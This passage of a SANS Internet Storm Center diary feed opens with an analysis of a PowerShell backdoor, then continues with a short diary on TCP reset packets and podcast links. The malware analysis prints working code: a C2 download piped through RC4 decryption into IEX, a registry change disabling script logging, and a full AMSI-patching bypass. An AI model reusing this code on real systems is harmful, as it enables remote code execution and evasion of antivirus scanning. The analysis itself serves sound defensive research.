$ser=$([TEXT.EncoDing]::UNicODe.GEtSTrInG([ConvERT]::FRoMBAsE64STriNG('aAB0AHQAcAA6AC8ALwAzAC4AMQAyADgALgAxADAANwAuADcANAA6ADEANQA0ADMAMAA='))); $t='/admin/get.php'; $daTa=$eBdD.DoWnLoadDaTA($seR+$T);

The C2 server is hxxp://%%ip:3.128.107.74%%:15430/admin/get.php.

Data received by the C2 are decrypted and executed via Invoke-Command (so, we expect PowerShell code)

$K=[SysteM.TExt.EncOdiNG]::ASCII.GeTBytEs('827ccb0eea8a706c4c34a16891f84e7b'); $R={ $D,$K=$ARgS;$S=0..255;0..255|%{   $J=($J+$S[$_]+$K[$_%$K.CounT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256; $H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I]; $_-bXOr$S[($S[$I]+$S[$H])%256] } }; $Iv=$daTa[0..3]; $DAtA=$data[4..$DAtA.lenGtH]; -JoiN[CHAr[]](& $R $DatA ($IV+$K))|IEX

But the most interesting part of the script was the technique implemented to prevent the PowerShell script to be blocked by the antivirus.

First, it tries to disable ScriptBlockLogging[2]:

$vaL=[CollECtionS.GEnErIC.DiCTIONarY[StrING,SysteM.ObjEct]]::nEW(); $Val.AdD('EnableScriptB'+'lockLogging',0); $VAl.AdD('EnableScriptBlockInvocationLogging',0); $b399['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$vaL

Then, it tries to disable the API call AmsiScanBuffer() provided by amsi.dll. How? By patching the function and overwriting the beginning of the code with a simple return code to disable the function:

$MethodDefinition = " [DllImport(`"kernel32`")]public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport(`"kernel32`")]public static extern IntPtr GetModuleHandle(string lpModuleName); [DllImport(`"kernel32`")]public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); "; $Kernel32 = Add-Type -MemberDefinition $MethodDefinition -Name 'Kernel32' -NameSpace 'Win32' -PassThru; $ABSD = 'AmsiS'+'canBuffer'; $handle = [Win32.Kernel32]::GetModuleHandle('amsi.dll'); [IntPtr]$BufferAddress = [Win32.Kernel32]::GetProcAddress($handle, $ABSD); [UInt32]$Size = 0x5; [UInt32]$ProtectFlag = 0x40; [UInt32]$OldProtectFlag = 0; [Win32.Kernel32]::VirtualProtect($BufferAddress, $Size, $ProtectFlag, [Ref]$OldProtectFlag); $buf = [Byte[]]([UInt32]0xB8,[UInt32]0x57, [UInt32]0x00, [Uint32]0x07, [Uint32]0x80, [Uint32]0xC3); [system.runtime.interopservices.marshal]::copy($buf, 0, $BufferAddress, 6);

Step 1: the script tries to locate the address of the function AmsiScanBuffer() in memory. To achieve this, it used the classic combination of GetModuleHandle() and GetProcAddress(). 

Step 2: the memory protection (where starts the function) is changed to allow writing executable code (the key flag is 0x40 or 'PAGE_EXECUTE_READWRITE')

Step 3: the memory location is overwritten with a buffer of six bytes: 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3.

This suite of bytes is the following code:

0x0000000000000000: B8 57 00 07 80 mov eax, 0x80070057 0x0000000000000005: C3 ret

The value 0x80070057 is placed into the EAX register (which is used to hold the return value of the function). This value is 'E_INVALIDARG'. Then, the function immediately returns to the caller with the 'ret' instruction. This technique implements the bypass of the antivirus scan...

As I said, this technique is not new and has already been discussed previously (around 2019) but it's interesting to see how attackers re-use always and always good old techniques.

The fun part of the backdoor? I was not able to connect to it. The C2 seems to be an SSH server. Or did I miss something?

$ curl -v -A 'Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko' -H 'Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE=' hxxp://3[.]128[.]107[.]74:15430/admin/get.php * Trying 3[.]128[.]107[.]74... * TCP_NODELAY set * Connected to 3[.]128[.]107[.]74 (3[.]128[.]107[.]74) port 15430 (#0) > GET /admin/get.php HTTP/1.1 > Host: 3[.]128[.]107[.]74:15430 > User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko > Referer: http://www.google.com/search?hl=en&q=web&aq=f&oq=&aqi=g1 > Accept: image/gif, image/jpeg, image/pjpeg, image/pjpeg, application/x-shockwave-flash, application/x-ms-application, application/x-ms-xbap, application/vnd.ms-xpsdocument, application/xaml+xml, */* > Accept-Language: en-us > Connection: Keep-Alive > Cookie: session=i9jI6+TRpy75U2v68M56EtGXOWE= > SSH-2.0-OpenSSH_7.4p1 Debian-10+deb9u6 Protocol mismatch. * Closing connection 0

[1] https://www.virustotal.com/gui/file/b2598b28b19d0f7e705535a2779018ecf1b73954c065a3d721589490d068fb54/detection
[2] https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_logging_windows?view=powershell-7.1
[3] https://docs.microsoft.com/en-us/windows/win32/api/amsi/nf-amsi-amsiscanbuffer

Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 25.

ISC Stormcast For Wednesday, November 25th 2020 https://isc.sans.edu/podcastdetail.html?id=7268, (Wed, Nov 25th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 24.

The special case of TCP RST, (Tue, Nov 24th)

In TCP, packets with the "Reset" (RST or R) flag are sent to abort a connection. Probably the most common reason you are seeing this is that an SYN packet is sent to a closed port.

But RST packets may be sent in other cases to indicate that a connection should be closed. 

Lets first look at the reset in response to an SYN to a closed port:

IP (tos 0x0, ttl 64, id 0, offset 0, flags [none], proto TCP (6), length 64)
    192.0.2.1.65007 > 192.0.2.2.81: Flags [S], seq 3972116176, win 65535, options [mss 1460,nop,wscale 6,nop,nop,TS val 447631150 ecr 0,sackOK,eol], length 0
16:24:59.928936 IP (tos 0x0, ttl 64, id 0, offset 0, flags [DF], proto TCP (6), length 40)
    192.0.2.2.81 > 192.0.2.1.65007: Flags [R.], seq 0, ack 3972116177, win 0, length 0

Interesting here: The sequence number of the RST packet is 0. If you are looking at "unusually frequent" sequence numbers, "0" may show up at the top if you had a lot of failed connections that resulted in resets.

For an RST in response to an SYN, the sequence number is not really used. This is the first packet arriving from that source, and no further packets will be sent. Also, there is nothing to acknowledge. So the sequence number, if there is one, would be ignored and as a result, the few operating systems I tested (BSD, macOS, Linux, Windows 10) all use a sequence number of 0.

Could this be used to help with spoofing TCP Resets? Not really. As there is no initial sequence number yet, the RST sequence number wouldn't add anything.

A second issue that sometimes causes confusion: RST packets with payload

IP (tos 0x0, ttl 64, id 49111, offset 0, flags [DF], proto TCP (6), length 51)
    192.0.2.43.37444 > 10.0.28.20.25: Flags [R.], seq 1:12, ack 1, win 57352, length 11 [RST 220 mailgat]

The RST packet above has a payload length of 11 bytes. tcpdump is nice enough to display the payload with a "RST" prefix. The actual payload here was "220 mailgat". This behavior is typical for security devices (the trace above is a bit old, but I believe the RST was created by a Cisco IPS at the time). The idea is that the payload will provide more information about why the IPS (and in some cases firewall) sent the RST. Someone once told me that there is an RFC describing this behaviour, but I haven't found it yet (if you know: please comment ;-) ).

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.
2020. november 24.

ISC Stormcast For Tuesday, November 24th 2020 https://isc.sans.edu/podcastdetail.html?id=7266, (Tue, Nov 24th)

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.